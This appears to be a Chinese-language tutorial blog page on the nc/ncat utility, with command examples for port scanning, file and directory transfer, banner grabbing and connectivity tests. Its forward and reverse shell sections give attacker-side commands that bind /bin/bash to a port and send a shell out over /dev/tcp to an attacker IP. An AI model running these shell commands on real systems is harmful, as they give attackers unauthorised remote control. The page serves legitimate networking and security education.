nc (ncat)

Ncat is a feature-packed networking utility which reads and writes data across networks from the command line;

nc(ncat):Ncat是一个功能丰富的网络实用工具;支持端口监听、远程通信、文件传输、端口扫描、反向Shell、端口转发功能;

格式:ncat [OPTIONS...] [hostname] [port]

常用参数:

OPTIONS 意义
-l 使用监听模式,意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接
-p 设置本地主机使用的通信端口
-s 设置本地主机送出数据包的IP地址
-u 使用UDP传输协议
-v 显示指令执行过程
-w 设置等待连线的时间
-z 使用0输入/输出模式,只在扫描通信端口时使用

ncnetcatncat区别:

  • nc与netcat是一个组件,ncat是nmap分支下的一个命令;
  • nc / ncat 在CentOS 上是同一个命令工具,是一个功能丰富的网络实用程序,可通过命令行在网络上读写数据;
  • 使用 ncat 时,尽量不要使用 nc,避免与 netcat 冲突;
  • 若安装了ncat时,nc、netcat都成了ncat的alias,命令行里输入这三者都是一样的;
  • netcatncat-z参数是不相等的;
  • 可通过rpm -qa|grep nc命令,查看nc是指netcat还是ncat;
  • Ncat是在原始Netcat之上新增功能二次开发的另一款强大工具,也就是说Netcat有的功能Ncat都具备,并且Ncat还有更多强大的功能。

参考案例:

  • 扫描80端口
# nc可用ncat代替
$ nc -nvv 192.168.3.1 80
  • 远程通信
# ncat 命令在20000端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口;
# 输出和输入都在此shell中展示
Server$ nc -l 20000 Client$ nc Server-IP 20000
  • 文件传输
# 从Client传输文件到Server
# 需要在Server上使用nc监听,server上运行监听命令;
Server$ nc -lp 12345 >> test.log
# Client运行传输命令
Client$ nc -w 1 Server-IP 12345 < xxx.log # 从Server传输文件到Client
# 需要在Server上使用nc监听,server上运行监听命令;
Server$ nc -lp 12345 < test.log
# Client运行传输命令
Client$ nc -w 1 Server-IP 12345 > xxx.log
  • 目录传输
# 从Client传输文件到Server上;需要在Server上使用nc监听,server上运行监听命令;
# tar zxvf - 通过tar zxvf解压,从管道接收到的数据,`-`表示从管道接收数据;
Server$ nc -l 23456|tar zxvf - # tar zcvf - 通过tar zcvf压缩,将目录`Directory`压缩后传输到管道中;`-`表示输出到管道中;
Client$ tar zcvf - Directory | nc Server-IP 23456
  • 抓取Banner信息
# 一旦发现开放的端口,可以容易的使用ncat 连接服务抓取他们的banner
$ nc -v 172.31.100.7 21
  • 正向Shell

正向shell是指攻击机主动连接靶机,并取得shell。通俗点说就是靶机自己绑定某个端口,等攻击机连接后将收到的数据给bash或cmd(后文简称shell),执行结果再丢给攻击机。

# 正向shell是目标机(被攻击方)先执行nc命令,然后攻击机(攻击方)上再进行nc连接,即可反弹shell
# 正向shell需要目标机安装nc
# 正向shell 需要目标机firewalld可过滤 # target: 目标服务器系统(被攻击方)
target$ nc -lkvp 7777 -e /bin/bash # attack: 攻击者系统(攻击方)
attack$ nc Target-IP 7777
  • 反向shell

反向shell就是靶机带着shell来连攻击机,好处显而易见就是不用担心防火墙的问题了,当然也不是没有缺点;缺点就是攻击机的IP必须能支持靶机的主动寻址,换句话来说就是攻击机需要有公网IP地址;举个例子如攻击机是内网ip或经过了NAT,靶机是公网IP,即使取得了命令执行权限靶机也无法将shell弹过来,这是网络环境的问题。

# attack: 攻击者系统(攻击方)
# -k: 当客户端从服务端断开连接后,过一段时间服务端也会停止监听;通过选项 -k 可以强制服务器保持连接并继续监听端口;即使来自客户端的连接断了server也依然会处于待命状态;
attack$ nc -lkvnp 6677 # target: 目标服务器系统(被攻击方)
# -i: 指定断开的时候,单位为秒
Client$ sh -i >& /dev/tcp/192.168.188.69/6677 0>&1
  • 测试网速
# 服务端
Server$ nc -l <port> > /dev/null # 客户端
Client$ nc Server-IP <port> < /dev/zero
  • 测试连通性
# 测试tcp端口连通性
# nc -vz ip tcp-port
$ nc -zv 192.168.188.188 5432
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:5432.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds. # 测试udp端口连通性
# nc -uvz ip udp-port
$ nc -uzv 192.168.188.188 7899
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:7899.
Ncat: Connection refused.
  • 端口监听
# 临时监听TCP端口
# nc -l port >> filename.out 将监听内容输入到filename.out文件中
$ nc -l 7789 >> a.out # 永久监听TCP端口
# nc -lk port
$ nc -lk 7789 >> a.out # 临时监听UDP
# nc -lu port
$ nc -lu 7789 >> a.out # 永久监听UDP
# nc -luk port
$ nc -luk 7789 >> a.out

Linux命令篇 - nc(ncat) 命令的更多相关文章

  1. Linux每天一个命令:nc/ncat

    nmap-ncat.x86_64版nc/ncat nc/ncat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了.你能建立一个服务器,传输文件,与朋友聊天,传输流媒 ...

  2. Linux 用户篇——用户管理命令之id、whoami、su、chage

    一.浅谈id.whoami.su.chage 本篇是续写上一篇<Linux 用户篇——用户管理命令之useradd.passwd.userdel.usermod>. (1)id命令 命令格 ...

  3. 轻松学习Linux系统安装篇之fdisk命令行工具的使用

    fdisk 的介绍:          fdisk 命令是磁盘分区表操作工具:和以前Dos和windows下的分区工具功能一样:fdsik 能划分磁盘成为若干个区,同时也能为每个分区指定分区的文件系统 ...

  4. Linux 用户篇——用户管理命令之useradd、passwd、userdel、usermod

    一.用户重要,用户管理命令同样重要 用户是Linux系统安全的核心,每个登录Linux系统的用户都会分配相应的权限,这些权限取决于能否访问系统中各种对象.而管理这些用户的相关信息离不开用户管理命令,比 ...

  5. Linux bash篇(四 命令)

    1.一次执行多个命令        ; eg: ls -al ; touch data.txt 2.根据情况执行命令       &&     || cmd1 && c ...

  6. Linux下利用nc命令来监控检测服务器的端口使用情况(转载)

    最近碰到一个项目,前端用apache htttpd进行发布(80端口),通过双机负载均衡转发到后端的两个tomcat进行处理(8081和8082端口),现在需要随时监控这三个端口的情况,一旦down掉 ...

  7. linux学习:【第2篇】常用命令

    狂神声明 : 文章均为自己的学习笔记 , 转载一定注明出处 ; 编辑不易 , 防君子不防小人~共勉 ! linux学习:[第2篇]常用命令 基本命令 //打开终端: CentOS:在任何地方,右键-- ...

  8. [Linux] Systemd 入门教程:命令篇

    reference : http://www.ruanyifeng.com/blog/2016/03/systemd-tutorial-commands.html Systemd 是 Linux 系统 ...

  9. Linux第二篇【系统环境、常用命令、SSH连接、安装开发环境】

    系统环境 我们知道Windows的出色就在于它的图形界面那一块,而Linux对图形界面的支持并不是那么友好-其实我们在Windows下对图形界面进行的操作都是得装换成命令的方式的! 当然了,我们在Ub ...

  10. linux环境下nc命令的应用

    一.安装 下载 http://vault.centos.org/6.6/os/x86_64/Packages/nc-1.84-22.el6.x86_64.rpm rpm -iUv nc-1.84-22 ...

随机推荐

  1. InetAddress.getLocalHost() 执行很慢?

    背景介绍 某次在 SpringBoot 2.2.0 项目的一个配置类中引入了这么一行代码: InetAddress.getLocalHost().getHostAddress() 导致项目启动明显变慢 ...

  2. Codeforces Round #709 Div2

    就ac了一题.QAQ掉分了我好难过. A题要画图推出来公式. B不会,现在没看到好懂得题解. C题,思路错了,给一些数,每天只能选其中一些,每个数不能被选超过k次,应该先将每天只能选一个得这个数先选上 ...

  3. 拉格朗日插值优化DP

    拉格朗日插值优化DP 模拟赛出现神秘插值,太难啦!! 回忆拉格朗日插值是用来做什么的 对于一个多项式\(F(x)\),如果已知它的次数为\(m - 1\),且已知\(m\)个点值,那么可以得到 \[F ...

  4. Spring的同一个服务为什么会加载多次?

    问题现象 最近在本地调试公司的一个Web项目时,无意中发现日志中出现了两次同一个服务的init记录,项目都是基于Spring来搭建的,按理说服务都是单例的,应该只有一次服务加载日志才对,本着对工作认真 ...

  5. PHP redis有序集合实现分页

    <?php //连接本地的 Redis 服务 $redis = new Redis(); $redis->connect('127.0.0.1', 6379); //设置 redis 字符 ...

  6. 应用DriverManager类创建sqlserver数据库连接实例 JSP中使用数据库

    JSP中使用数据库 1.JDBC介绍 java数据库连接(java Database Connectivity ,JDBC)是一种用于执行SQL语句的JavaAPI ,由一组使用java编程语言编写的 ...

  7. 驱动开发:内核测试模式过DSE签名

    微软在x64系统中推出了DSE保护机制,DSE全称(Driver Signature Enforcement),该保护机制的核心就是任何驱动程序或者是第三方驱动如果想要在正常模式下被加载则必须要经过微 ...

  8. vue3 页面跳转

    需要引入 useRouter import {useRouter} from "vue-router"; 然后声明对象 代码如下 export default { setup() ...

  9. CF452F等差子序列 & 线段树+hash查询区间是否为回文串

    记录一下一个新学的线段树基础trick(真就小学生trick呗) 给你一个1到n的排列,你需要判断该排列内部是否存在一个3个元素的子序列(可以不连续),使得这个子序列是等差序列.\(n\) <= ...

  10. android 代码分析

    1.@Override注解 @Override 注解是用来指定方法重写的,只能修饰方法并且只能用于方法重写,不能修饰其它的元素. 作用是告诉编译器检查这个方法,保证父类要包含一个被该方法重写的方法,否 ...